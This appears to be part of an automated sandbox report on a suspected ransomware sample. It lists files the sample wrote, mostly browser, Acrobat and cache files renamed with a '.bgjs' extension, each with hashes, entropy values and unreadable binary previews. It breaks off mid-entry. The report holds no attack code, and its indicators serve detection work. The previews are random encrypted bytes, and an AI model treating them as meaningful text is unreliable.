SSDEEP:	3072:r6k2mAA/kOoSGk6qX2waCEIyDRwbgUI2ACSLnQxi9/809XZUMOODaj2XE07ZmanK:r6k2c/CSG496UI2ATUUx8sUM/Daj2XEJ
MD5:	6AC0D93A0647DB990FBFC296BB726449
SHA1:	C83611CF95F760F7C3F1E481EC06CCD46C32DDBB
SHA-256:	2623D5C1D975DEFB751D33C22CBD561106528308D1C643C8B9DA6574879795FA
SHA-512:	1C722D8FF1A8CB00A3F7B657AF8EC36199438CBCF45883C03890FDD2BDA5935F5E5A8BF9234A50B804675FFCC32566B342D9FF773EDA9F24019ACB73D7F36C99
Malicious:	false
Preview:	%!Ado.......K.@.......-..V..........U..e.y..A......."...8./.j... .p..e.a.....MW..G).]..Y.K...:$.yQ0#..Ta..5D.....Q.g.(......%D.......[YL.Eq..a.5...B...+`.`{...J..\|.WSk.0xj.7.9H.z.=......R-..9Z6.$+...v...Ip...O&I.cTl.3G..\|.5..S...!...f+6.v.....WZ.{ 7..V.....%.S.0'O.....7/.z..J..8..T#.P.uvjPn..YJ...m@.0..<...x......e.....`e.(..Sp."......}3.m......Z.E{.9...jC...'.(!2.zYUY_....'.eJ..x.X...`.....&....V....U\g.f".....S.k....y..(.ctM.xn.....f..M.....+..Km)G-.X6.Y..\|F..I..':l.....t..E..O....q.=..C:d..BM.v{}...3-B...>>.1..'.74...Su#...j.g... ...}.\..2.O.....N.gO.J.8..jf=...."hX.Kb.5...?Ig..t.8.k.).-_....P.5S..6...H.......^..bu<0.~..Zy.J......m.........C.9.=o....9....&..]g.i..h..,F.tnf.:.^Y..-.1....{.,~..5rq.%.......W...~.fM.#.j.d..;Bs8.....D..<.....)....t.>......T.n.)..kH>).3y..F..;.-....C.!.."..?.c.mDb6;..w...g.......W.tw...:....&rq.PC9.e./..+"...d.o~..'.v..`J.A.@...D....2.#W.jj].U.I.....'(.;...!{.....}2..4\|.......IC....x.`..c.Bt......w.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.819502670796873
Encrypted:	false
SSDEEP:	3072:rbZG3npy6ZtCdJQlQQ4euDxC3Lf4Jf+JKNOi7fLYhgxezSbOolNlnG:rbcaJQ6rNDxk4Jfh7FnG
MD5:	ACC1557CAEE5E918AD9F00004A9D2B0B
SHA1:	6BE6FAD8A083375F252D945D976ABA5CF0EDFB9A
SHA-256:	CBDF013ED8D969ABCE3913984281C0696525B0454DC17EBE4B7B3345457557AB
SHA-512:	B858D29205BC281B163DC2CC14CA642DC007D2A13AC88F1D56634C3819C12CAA83350C45A2A07CEA870BD2766B2289A24D0FC1F43CF9F4C81F72E88CA2A6A48F
Malicious:	false
Preview:	AdobeJ.....`../...@..........x.....+.i....?.I....&.<....djtt.<..]....%I.\.;M.~5.+....+XB...6M.w}.x<.-G.8yB.c.....'r........,...a..g.....A....'i.?..t...p.\|.E.\|.).(J..2.3....-l!.Z.1.(5..u.~.C..x.H.r..B8....&..]...16........O..7?.?Ik....Mn.6.J...........+.+.1.{....yE..9.&...f" f..I...7.8..).."..L..9..q...zE.(..A.....+/..).e....>(r......w.+.)L..}~....,..;..J.Z.y.k._v..e(..cTc.yZ).;..Z..V.J0..g...2.......]T.<...$>E..>.... x}ys..~..$....P.ekD6......h...,..<....1.HC....l.....U.t)....0u$yV0.t...:N..(.$.+......{.m?.q}..f....`F..o...(..gxH..Za...X.........{....P...E7...Y.....d..'<.y.?L..k.....YY..pK......).v&..I.Vq..IV........_c........'M...y.)...FmC..{.J.~<...3.N....x}~6..[R...>j..$.D................[...l6...R...MW.......%...,...8p.QC.%.m}....P...'...O...~.Q..}..[.j..y..SG.b...Be.>...a8.D2}u.."..8v...@.0V.p..yeH<&1.z.P.....l.5E.v4..%......\|...6.v.`....\|.@.=....yn....i...RO.u8...eh.Is1..'..)_....YV.NM...)..2$#..yd..o..o_b... ..qi../...b.gv+I

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.9973074533389665
Encrypted:	true
SSDEEP:	1536:+U+kN16nX5uh8C+w0df5nxfnbFOI8iLdaIsQcgs3aaWQoIv:+Ul6AiXnxwI8oz0qkoIv
MD5:	0343BBA90E405459517686C3AD6665F2
SHA1:	6AF5EA2BFB7683AD481C5D4780DCC1049A490DC9
SHA-256:	0765B54236C2053960AFB7FF9B7F9CEAD8381D1E15096FB412C65CECF6593ABF
SHA-512:	D7A6C61B24A31BAD7F9110AD1CAF95AF398E9CE69155414D7FCE9AFDDF8B08051778AD86F4C480174847A2287B9C1D8472C5AE3CE69C65D90AD6149C9A598443
Malicious:	true
Preview:	4.397.. ....N3..o."..p.95..ax..........0..-`....RX....z......PJ... ..e...u.0.!>K.o...(\|.]..'.~...U.>..L.....MFo...81.W..:o..%..zB9h=..aH..S.I.u.{.c.!..S.....FDt..#...%6.Z.p+.n....!g.?;..A."......B6.'.N)d ...zX...R}I....c...x....V.L+.q..T0.S.../..u..O...5h...z..~....t..x.VjU..#..T...C.T........9..b.&f.u..M..`.pG.Z.S.-=7I..X....qV.U.JG.>.....{<5...wK...uO.M..J.. ...J.+.0..D...A..i..xXI....'P@..$.T.N..^.N..m...:.e.Q.a\4m.8.Nxc.Z.YP.?....-i.5....y.<.D.......P..#7..6..d5.(...........F...z.S.OlCx#..~:.X-;...d..W_.<......`.>8Wa..%>^X.o...#B....b.;.b44...\.qH5J.S.NZ.5:.. ..3......."....!E......gF..p.3/z.}.X..f.5.LS(....GS..V.....`.6.........D]....\~..O....R.JK#3.=....#....rX.d{... .2Zk....#.)4.a.*.........b6.o.....W..J&h..L.7...C..&A1P........U...Z.k)w..w-z.>...j.z.w.~.%%....u... ...?F.".e,...O...ui...8.N.....X..HG/......'.m....+..E!....K%..W.NG.r...[.l+.o.(.&]e.U..2,..Bvk.....'.:.mSa....S...Q.Q&...G....].C..BD...{...$..cn.\....n53.....bx..

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.9957526666915
Encrypted:	true
SSDEEP:	1536:v3Cn191BjMUYxpgZ+hQJS/gIzD32f3pK7eR:vATBY/8+PjA3pK7eR
MD5:	AAAE02A3C9BB4AA96C2ED413EC58D95C
SHA1:	D50C6371C7D9E7EABB12D00799CD83DE4AA1F6AB
SHA-256:	94D60941B66BA163033806D633E0E127BCFC1474F042358DADE019C6802DE501
SHA-512:	27E14340A7525F771B7FE3413B436E942BDB5E48F04823DD25905B1660FA5BC36479367A029E0B2FD74637053241913116313AD5DA39C46FFBD29AF8F6F784A5
Malicious:	true
Preview:	SQLitG.}..J4.x.,.J.A...`X.....gB.._vVc ....DB.P...N..>..Cz:.CLx3.L.R......._k.8&Y.$. ...i....}..Unw../wl}...$.{$..nY..L..(...~x.9.WZ....?...,.6...J]]..5..d.c...v..C...{....E3..........=LR\....c..8.gei.."...j..,..W.\_..1..'.Y.VW\|4..\|vNP=....V!S./.....T..).M.....Y(\Mx.vd!...>:.8..8d....<S...1G.@..+.Ja..j. .....IG.x....H.u.. r...F.nF(........bA.?.i.T.,.@...]>y....;..Tg~..[.VP../,......LY..D..Y#.F.1...=?.+...r>5.\|...$.mR.h..c0...x.m.@.G...IET...q.=.'........j..(.3....../...q\|...HsW..WA.<.0.!7.0x..7:M;q..h.X.-b.$..z..h.W...+w.E2a...\|...)X.8o...+$A..y..]2.cf{.J.'.Z_q'..i....d..X.0...r..LT...`....F...-f.x......,b..L;.....Gu..TeQid..f..0.....h...E).a.....$2.Wj..4.%@..B.T.......<..N....x.3_k.e........QK(/s2.q..z.&F.E..a.E..w.:C..&.}G}..T(..,....8rn......'..g.{A.....ek..Z.0.....v.....gKX~.0.......UU!....0.:.G1..+.K..j..H.?jk.f.(.O~C...4.D.5.ZI.@.Q.'.Yu......@.z_K.}f......M..?...$.D..Oe..p..X0.Sm....7.J....)....k.nb......dM..."t..w4....N...6.....

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.335417152040058
Encrypted:	false
SSDEEP:	6:QjMmgUTXetUSB3MIkTOgon/WEWS0zMiCOQcvyPicquJhm1zrWyc3cii96Z:Q+UXYMIk6ghS0gh6vyPhGP1+cii9a
MD5:	E04A1404AD89F16753BEA04DA9AF84E8
SHA1:	848690AFC3194E55E72B2B67A605331FBB85B552
SHA-256:	B21133F452C58948BEC1C61576F51962F5AFB2EAEAC648E1570411F8A482DB53
SHA-512:	C75FB4CFD542A7EF116B977B3FA26DE300CE521A934AA12931AF5F18660730DFAD1C2E5BF74BF57BEA950A084D7DA4BE50C91E9BF8733F0EC62A417886B46DBE
Malicious:	false
Preview:	1,"fu&..<..Z.)..[1..x....iD..].$R.6(.O...!.3x...\|...[.-&...aX.2.......zI.^R.<\|]..GC+...-.nc.;...qx..u.P1.(%.8):Z...^ .'.P..V....Q...W....K<f.........E...G..0)....A....$[....H...f..!.!..)[w}r..v.B.'n....M..[.R9..g.S.,O.z.hkMq..TQ..c.x~.7V..e....KltG/.NF.oZci.o.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.833772510020373
Encrypted:	false
SSDEEP:	24:hEYSd77a0eMXKg/tDILtnd3tOXQLoml1Svbc2rGttNaHlbD:hXSB7amXKgyltYAoiSzcwGttNwD
MD5:	211FCD1311911E32AF5B34C8AE229E7D
SHA1:	8E92237F6CFF916BA793DDE9F8B15269EFB68960
SHA-256:	828AC8CB9F4D81626D5B9D53CA1889D18EFB1ED15B279E8A11D96C3692A64B27
SHA-512:	40A57C4ABFE47837103260D20E05A7AE384E3A7370B9792709159A43F4FEFEF2C8179D477D8DE75E22DC07DA0BE61E246129E541041AE718A743C9DE860F4066
Malicious:	false
Preview:	1,"fu..H.....DQ.qM.0.".9`J......A?.8..jlb..}.Q...L.:.W..r....K..u....w/S....)....uN.w.2R..m.R..1..LH...... -.....7R..........{.e. o..]......t.5.F./T9.V.T... H}6.{..!6B.pX....,.6..g...<..f.4.ch_p0:&.....K...S..-B..p..g&b#Q....M01;n5.x..!.y..ZFIGX...i45....F..a}...0.~w....g.....{..{k.'....0.&i..r';......K.B...OU.G$......A@.{....a.H..[..F4...,.a...v.T.{..x9\|....WV.\|.#....F.M.&L..\|..XJ......J..Q.;wl.......O.....Y..c.1..=.'..C..>;....V..__...N.Tgz..h...6.tW:..U1.8.n....g....QIK.jQ......^x.t.....:.I../{$gX..b.H1....i...o.L).UI..w.r.......].'.S?MI-...0....d.$.\7.w7..8.q....\.n...y.7.......;9o..fK.s.8L......%...D.4f..^...>..V;?.{..~..q.x.s..u.F....g.4rS.<;}.{.D.......RZ..V.....].}..^-...6..B.......B.J.......3.{M..........b=.......2R.R..!I?..>....o..\|...V.t..E.-....s4......E.>)y5t$.......Q4 KE...)..5....%{.?.Bl<........D\=N...r...L..3<w...(>.*. ..,....4...t...D5h".....Y..q.21.1....\|...S.8rU..kW1.8..q...X.(...;(m(.CkS...........K{.L.

C:\Users\user\Local Settings\Microsoft\Edge\User Data\CrashpadMetrics-active.pma.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989298593492842
Encrypted:	false
SSDEEP:	384:4Ao4TiQwIWMRoCFF5qkiiW6bMgQcT8xwY14Ikggd3KbM0TSj:46izeigFtWNgQfTfE0ej
MD5:	AC8C4AEFF823682CD9D9C6602FE1B331
SHA1:	13CA6C0A1514794310388A1274B8131B0CCA8D11
SHA-256:	E42F4B7AE590FB186333075D62E8F5FADEE7277FB4D1453ECBFAD249274A1327
SHA-512:	2D78B499F2625172BE575A7E5EBC578E51B3001AE13B8EA52E8E76ACDF60849C7577A1FDF1A4D6AD7DBEC60903F798557C9D2C0C04DD48520228A9EA5E2D1B3F
Malicious:	false
Preview:	...@..;).L.N...lU...D...ko.B......g...S..d.r.g.3...nlZ.6...:.!...vfa..&b83X .....1\|..-.....S.chK...S..wO.F....En`.M..D..A.....9k..P....C-.~....J....mj#..d=!..U.D.T.6:.m..<.._-y.s5g=^A.l......5{.........\,.z.=.;9.pFH./m2..-.#.0.}...{......2\C"...B.5`..+.>m.#.C.v..o.n..1...3.k.......3%.(..5P..I..k..H,fb....l..0o.!.^Rw.{..t.A..A.Q.b.D..X.-..n..i.f....;.\.N..}..n.{..=?....A..{.A....U....h.8.6\..7M....$7NT..p..}.K.K.....b@.D....0Tp...T..l............i..`vq^.<%i....~f\|.l..A.A...U........../.mt:!nz.NDL.........E"..p....d=..J..X.8..[.`...JJ.]a!......<.Qd"...#.H...)Y.....e.sYN.6 ......u..LK............V......<.....DzC....!T......Fes_i.Al..8.4[*...:a.g.. ......jk......];...%.Y8.9. J....n:.N.?......Sj.~qb..b...a.g..^7.S....~cd.P..^A..^...q{JhH.].i.-.........r..@..R7.....x....,....-w.....[..a.bW....q.D...y.3$.+.z.....=-2....Y..y.a..w..Af5.......x.......6.%4......4H\.?g....(}.~.........^.$...fA...E....1..gt......=.)....mQH.....yGC4.W....;....H[....c.D.N

C:\Users\user\Local Settings\Microsoft\FontCache\3\ListAll.Json.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.978385649463131
Encrypted:	false
SSDEEP:	3072:D7I9M4dnAExDxOyBYGAat3jfWtidso/FFje1/5x5cxXBdBQ8kTo4islIX87ZXav:Dk9vDxV5B+a5fQidso/F2/5cbzQ8yis8
MD5:	605E478396A7160045701B4F42F785C1
SHA1:	7D8A4DCCB493C1D3FFA813F4CB59D09960AB1365
SHA-256:	84DC3CAFF59C7D4FDEB26B23E40BAC527B6768A5EDA57ED4F68EE3C0AD2BE64D
SHA-512:	E3FFB1989EB6977C95C978EA40E7BAE5D1D1B4482061F5A7C3AFC9DDB80DCE138361F237E8975173807FB9685BD7D6DD391332C2897E9E4FDDB3E1140D9401DD
Malicious:	false
Preview:	{"MajF.."RevY.n.....LY.4.J.R....b.j...u..[..aM...1....!.~Y..L...jO..8CoD..9._..s...L..tw...y..;~.....6s]..F..4A.,........6.-.h...M...nv.2$)....\..?......c.C7.-..r.PN..x..9"j.q....T........D\.G.@:A.D...C...pp....H.F.........5g<.`......Jk1...Y`...#...n... .}H.....J\....GKj.jz(~C.....:o.X.. .@.lCNx...\|..e..M.N.i/.5..+...0..i..).Y[.d...G...#>0.@.k.?.u..=wETu...^..q..<C..Q..b.,P..3.LW".....F...A.>......+.t5..=0.....=.V....'&".9bt...v.k;R...L.q`...\...}..l...E....+H.....iQ.-Q..L.k............O...bD2i...o8.y...K..IMk.E.~$1W@...e.c~..gq......e...V...kR..`.:\.O......#...9?._.T.........K......\L..#..9.Fq.n...3.,P..w..\.. ..#..Y..;.I1.6.U..jD..C.8..@$m...$.Ln.C..Eny..:.....x.k.'7.m@'.>^p*...<U.....B.!cA.w...X.6}.....c...d.S.....8.....hwi....4V@.]..~............A......af...K..{....Y.N.cB5.9N.(.g.P1&.....[m....).....#k..P..x\z.Vj.n2S...D/].@....W.b..9..(..@{..m.v....6..>..R........S.Zt.,.:.R./(.H.b..r.H.....c...T.._.J,..N>...u.8/R.=Z....o.[....8.....

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.905954407597392
Encrypted:	false
SSDEEP:	48:HXzXk11PLAYVUUTLR+83lRPa53Fi8rb9hBVZiFR4Lu4u6bLH6bD:3zU5XTL3Pa9Fiq9hBaRqu2LaX
MD5:	37D2962773AE5D8589E0D2BE59B53CD0
SHA1:	7EBCBC6EF87768ABEA7688770C49B3DAA99E978D
SHA-256:	FD87269EF6C5195A7B54591697C9BFB19CB0B461D355B3554703FDBF325D0FC0
SHA-512:	4F961008561AEB88A7106B8B6F2AD1BAD1304A8A6F48779C2777C6EB3E9D4D0D2D3CCB74ED91BB32A219DF55AA5E0564E8697497609FDD9A9878A5AB6CAB2FFB
Malicious:	false
Preview:	<?xml.x.....-.H.....>..\..Lt...2.Y=..S..;........%~.+....`{ .Mrh..KL..G!...jR.)V.#....1.y......g(.Z.o-^h... .......Aa.ew.&L.../S..ah...N.....1.u/`.......j.eE.....QQ4....o,VAr.X.`/p'.....t....."m........nT.n.`........6F.%e.........g.......i.kn...C.,!.V._<..A...p%...J....yq...`.s.C..UHr'.g?..@....A../.7f......4.....t.v.._.5\|.N....s..a..8r.Y..U...~...M#.8..s_#.(w<"..`GU.%C....tb../.&dF.v......x@q...M. g..j.J.r.0.~c$)9...<9......#.{&4.!.>.........y.-..u..$f..i.....%`l..._e....5!.I...YR....a1h...\..<..C..=....Zqos...:....8......9../R..B!K.....K..&.Z.>....&)c.,..%."..~....:...D...........tu.!...De.....N....+.j....q.&..r.M..g2...Ze....F..hY).......b.b.. ...Cee...i.....l......Hh8X}..>,<x.jLM...~)..q..p{..N...;C.;.`...........J.....9M4+.V>....Ul...j.?[\|.7.N.c.:^}.r.6.: \|Rn.....Zl.A..2O.l.*.p...!mV..#~.Y...ix...pFyxG..<si....5..-.GP..{..".$.o..~.H......P.P......w@?.JU9m..v...'}J..M.........$.9...L.=.,J7%". JM...w......I....Gl....0.,...w.qZ...\..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977917198964352
Encrypted:	false
SSDEEP:	192:8/x7i9SeynIfZN413IrgN15Szu2DZtH/R8js0fJvGbML9jr1j:qeycN4SgD5SzbnZAXEO1r1
MD5:	F563C2E422B358A42D1ACA1780DD7910
SHA1:	66150E53FCA18E271888BD421EE6A476C3019D76
SHA-256:	C2E9C662A652A66643B508FAC02259A92B5E4EF8EA975444E011C0E19BDE5C82
SHA-512:	402753AAC433A15452264D4C0D3C768C2AA663F275A5DF40B08008B125999D671D3627E72943B15F159B01C552EACE8AD0EB300F3C987FFFD7B8D8DB2C77F1A5
Malicious:	false
Preview:	A......(!!_]..i..Wp.;...!..89.Y.....L^=....S...7....s..@...b..u.g{@..N"t!d....!fWu..\....}...`E.\..Pe)..n...Sl.....$l..\Bs...N....I.5<VPw....].f.y.v..3...V*^.....m..@......]....O..H.OT....[.V.+..+FYB....@....X..>..f.r.....O..).Vg.C.%.P3.%?F.h.r...].4.>..i.L....p.j.CJ.l..~Y.....I~u.....CS.O.....I..ie.F4'6k/WK........Gl......C.-w...53KO..y...b._]\.>.....{}v.>..<...Q.../...].z.{`...M............!..@?8............;&....Q.g....Lw..F...9b...N....:.Zb.M.....!.Q<..9...P.eU.....C..u.g.'..\.jK'..3.....%Q..'...c...8I`Hw........N:S.).....$}.....T\B..q.r....F.KCnh.@.7..1&."..M...$.."......B K.}..L{Y..C.....&...ed.. 6...b2'...-...Ww.SB.k.T.s.Za...0c......S.B.}y.g..-W3O...P:I.uR.9.V."...A.Ko6A.6...z../.k.F.J..s..+..j.?E...Ql.:.4...0......s.......1.y-..uI....^a..N..D....8.W..@..B..K.".G...6.1......j.. khI.(..@;..}$'..D....>....<;J2}.F.c.(..C.mU.xB.k@.=.3@.2!.........JT(..8".B.D?_F).....s...E0.ff.'.....M..av.c...i..nt+.s.....H1X.g../G...)fw..K..g.%..w.Ogx(4..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.009520516519812
Encrypted:	false
SSDEEP:	3072:lxvVHfNwkd0YWMeA8wC9U9KV8OoscFAkVA9kLmcZKvr+IGsSgozHwTdK8NOT7VRQ:fV1wchLC4JokVmqmpaIGGkHaBN
MD5:	ECD6B22375B3F6B7A1A47E8879E5B9A8
SHA1:	8845948C1C456A51232FE71AC780A78B5751E090
SHA-256:	EE71FFA6DC16669B38A0FCC33C8C7D5AE850E35C5B57C7A04C5A0C5F829D8773
SHA-512:	F12492BA37F1C5D43FEBABE3A8242B17A8E6A8EC4A904102ABDF7F9FE57A3A54F0E2205DB3DE30A690ED1C8776EC08D581FC9A8D4022FF5B2CB507DE06D7862C
Malicious:	false
Preview:	....j...<...P^.y...C.).l.a..f)EQ..E..qikyh..$n.I.v..O`..#.h..._.L..bX3.....JAtX...[p.N>61..M..Y.0....l.+zA.._.Q.....c.yJ].3t.H..$H...5..i.3+.X.w..X.z....b.....DZ..UL%...KNF-i.0`....I>........H1...lD.vTL..5...>_........]..%..Jq\|.O.c..L......\.&O..C.@"...1.>=...0...$.6...z.f.ez....kG@..ILg.#....v.[..R....\_#..2.@Q.MY.[....k..z%.Fg?....b..h."v.)..d.....i..w.Ts.p.G...s.5..4.I.V..C7....Lz..2..`H.K.t...Ajh..Q..k....~...N.g..t..-t..F...-.u...2....Q'W.4[wg.)......CU..;D...G.H.Bd6.B......0..>o.oRR....x$..g....?..!.N...J^..e.v..<..D..^M.(.!.%.qI.q.o....+/.LP...!....t.'..?!..{.....s.....'.... )..C+.C'.B......(K....6.\|....M..EMq..Up.+.o.'...V\|...i.3.A.....uF..Y..v.e...M.......pp.2D...LW..)....w....4K....y.....`=).<.....lP[.xf..<...@..c... ...=.-.....Z,..V.<...<.....-....[v\....kT%5..%.1y......=..H...EH......;.-JU._ R..:........,-.~_.a...[..]...a6._<..e...5.a.as`...0...)d(.... .Ed........P........A!.'.......HT..[.w....vM.......m.1.lC....$!.@fox.....n.no..g.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2078352311600327
Encrypted:	false
SSDEEP:	3072:iwdQi1y08XlI5iuesg9NZV9et0BETZg6FmgAmtLZKPh88KzBAOg7m95rJID6:iwx1y08l0iXse3fulg6bfLZKZTKzxaG
MD5:	75D42D4431F206507216C07BFB909BBB
SHA1:	865D456C9BB74898861F214882031B92BA2AFA72
SHA-256:	D1DD249C5ECEE404F30705F777FA6C741023D578790CB98FF8B30E4D6165C4AD
SHA-512:	7410AE95FA3FD9A5B58359542C62B284F4CE4744E54F0969FFA5513340532698B0A1C282FCCDB6A14BFCC29D6853F12EE1C553CADD1B8228575C3B40957E2E53
Malicious:	false
Preview:	......'.{..f....h..D..j\...b.a......NM.W%...F.u.ADZ..^.......r.5...&.....r.f...]`..py.......$.v.'.g..#..Q....FV..7k..8..!..z...I.M....U.Y.A...9..a.q7y./XQ.u.........2.^.U.^.nAa<.g...-...R...2...[x. ..z<h!.-.`..)^.....R.......a...K{.#....I8\.jo.c$' .7I.]y.....H...H.,.i.......6..._.x.T.H.B.!......V_.=.. ....e......0H.>.6...,f.tw.q..T...z.SU...A..Sn.r...~.A.......9i&.F.....?.D..J.(.I.o]....PA..<.~8k%..}.I.....xeZX.......Y..#.0...x...P..u.8...0y..>6wL.a..w..v.3...\p..I!......n.A..z... "._..%.r..[l.....D.L...G.....5.....E.....Bz......0..lM......F_.........P...U....1obu.f.C....r......el...%..Q5R.Bl~...xBAY+.s.B..%.......w...sV..w....."..I.:.{J......b'$<5]sUM.4...{..Z.uGQ....Y.%>...<............H..4. ...8].,..63...=....E......b".#..ly..u"w.`.......4....l..\|.[\..H..C.9p.Z.J+.oV..4'b..L.!nmF.+.x.x3f...{..O./..]......)j....2.U.g.v...k..i.}..;.m.kdan/X..8......_<..p<..JU.N.....\L+/]C.MK8.{j..0.o.;.......].WL. ..c.oT.Iu...A{R&X.7S6.`z....+....

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208000744395603
Encrypted:	false
SSDEEP:	3072:QD/YTCxRYVY8uFaOllu3BhIGl5ZLaubsK92Gup6iL5yvWRmW:o/YTC/QluFaV6E7+G92GupvFP
MD5:	BAD3803830EBACB44A63097B83867F26
SHA1:	AF131CE68DB19E849C112ADD9B9AEF9BF6A6B8DC
SHA-256:	37235DCFF514DBDD04B3DF98EAF71E31668AC4A8CBB2976374A77DF44D71D0E4
SHA-512:	549BFE6A08C5442BD9A853817A5DD0A8BEDDCFBCAC3E0534EBDBEF17005EC08B6ED788EB399FDD2A69B759A1C8F949C58DB6BAFCB744BC1C5747046BBC9AF14D
Malicious:	false
Preview:	...........s.+].".I)g.,.OW...,....V.&z...._-....c<.W....z..#..(s[.#..y...................V.RIb.o`A.Y..^.H .k...@".M..U..$cp.J..._8D...fU...B.\|prF.E#aC.i.....Z,.%...(.%...#4R.a`......P.0.... JS...w..v..v.:........(i..h.(Z....+..6.R...[....y!.......;;i8<.[..^..)...2u\|....}.{w.6.....[.Le.9..6...(..t.........Y...._._hMFk........z.H.d..C......:.......0..bsp.....F..b..G.'.zn@...S..j.`.......[H..y6e.Y.F....v.;H..O..gwue.....d....e..M..nK.5..zU&..A......jw.i..zea.....r.....$..y..w......N..k.~......6..#G..........2.^Pj.....R......D..Z..kt.9...G.5.'D....&.`ep..._...s..L^..."k.^....u...D....i...Y.w./.C........m......ml.....f...Y..g~.{.......F>"...8..aE...%w..AV.HZf..g.....`9.<L...}.%O:..Sp..`.%....v....9...e..RI.5.Y....\..a6..d...F.....?)I..3c.J6k....t.C..R.C/...x....;...aNwax.W%&..u.2.V)\...F.lPp.t./.b.u.........J&.:..'..XHJ(:])*.^..J.....p.sl/..Cf...`f.%G...[-V&mn3.........u....?.sZ.....z..`.>... .....[.0.P....... %..i....m.b.h...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2081119312189488
Encrypted:	false
SSDEEP:	6144:SEJDghnPuKls0fv0ZK/FFStkewKCIyqL5Uu:FDKu0fvxTCkeZVyqZ
MD5:	262D1FA02BE7194184F228FB9126BAC1
SHA1:	8A7BF02E236176C45CF2EF41770A914371B1196C
SHA-256:	7772942637C34E445311E415A917736FD888DE1CEFDDC64EC4CEDCA79BA73249
SHA-512:	84820335B474DB88B4F18A5D7FE58BD47802AA9B0EB2C81BB6B2646D0A82107D25AB2531B349A4AA3C2342CDB4277CA0197959B74F833C70357CD7C6139EE09C
Malicious:	false
Preview:	.....4Rza4..,.4<D].h+...\|.zO.H...M...?.'...9U.0.[.w..=.......Ma. ....#}..J.iI~..~.b..b.b.'.s....%.U.c..>..}.......y.M...G.v(..'4.n)..@j...VwX.Ij...,+.f.3....rRLm.o.6k}>.D.J...y)..{E.mt..N.L&.9}...2.d.[........f+%S8..`....+......c+.9.e.g...@}xT...>.5/.uZ....<!.....j%%Z....<.t4.5}n.Q2I....+r{5.s...C...K...4...t{...DX....o..o.>.+#...!aB...+.Hk.p.4.@.f.(..z=yg...sn.Sn=......,.......?%...8F...#...s..F....Ph.C..8..u......nsQ..G..Pj..-z0K@k.,. ...`:(.'u...~.Q.-..........J2ii.8..c..$...$..<\G..-.4...B\|.U..".....j`..k.\..#K..........sLJ>....... K..k.Q&%i.8..U..}o.Q..7..F$$.X,..Vs....c...y1.e@={...\.2.(..l...C...'.o..7.b.......9r/j....s.zo....FV"....o.V....H..M..>.y....c.@..'.7.k..R..;.b..l.;A..3%/e.....s....M.A;O..7A........h4.\.........o..dhL0X....C..V.....K..{..oF...._.\....h.f.+..u.X.\..M.U0.$.]....(0..L..f...G.4!...f..X..k..6i....8..{...T.f.....E.{c..d..$9....7.{...F..vQ...B.d.I...\A....4=.24.>.8X.V...`2V.0S.\......\.^'.N$....v)

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.95349344367677
Encrypted:	false
SSDEEP:	96:1rpDnZ3CSCDmDbFxKmV6LBaYrO8K3Hos7ErK3SHsj4:1jhDbDkaYrfiINK3gsj4
MD5:	325DCCE5F5C1D2FDBE4DA3D236406E9F
SHA1:	D535C8A867B2EADCAA7B1CA3A08ADA91CCDC7B46
SHA-256:	D63966AC87872C300A8E4DE53B98C7A6F22DEE207490250EDE6350AA1C1852D7
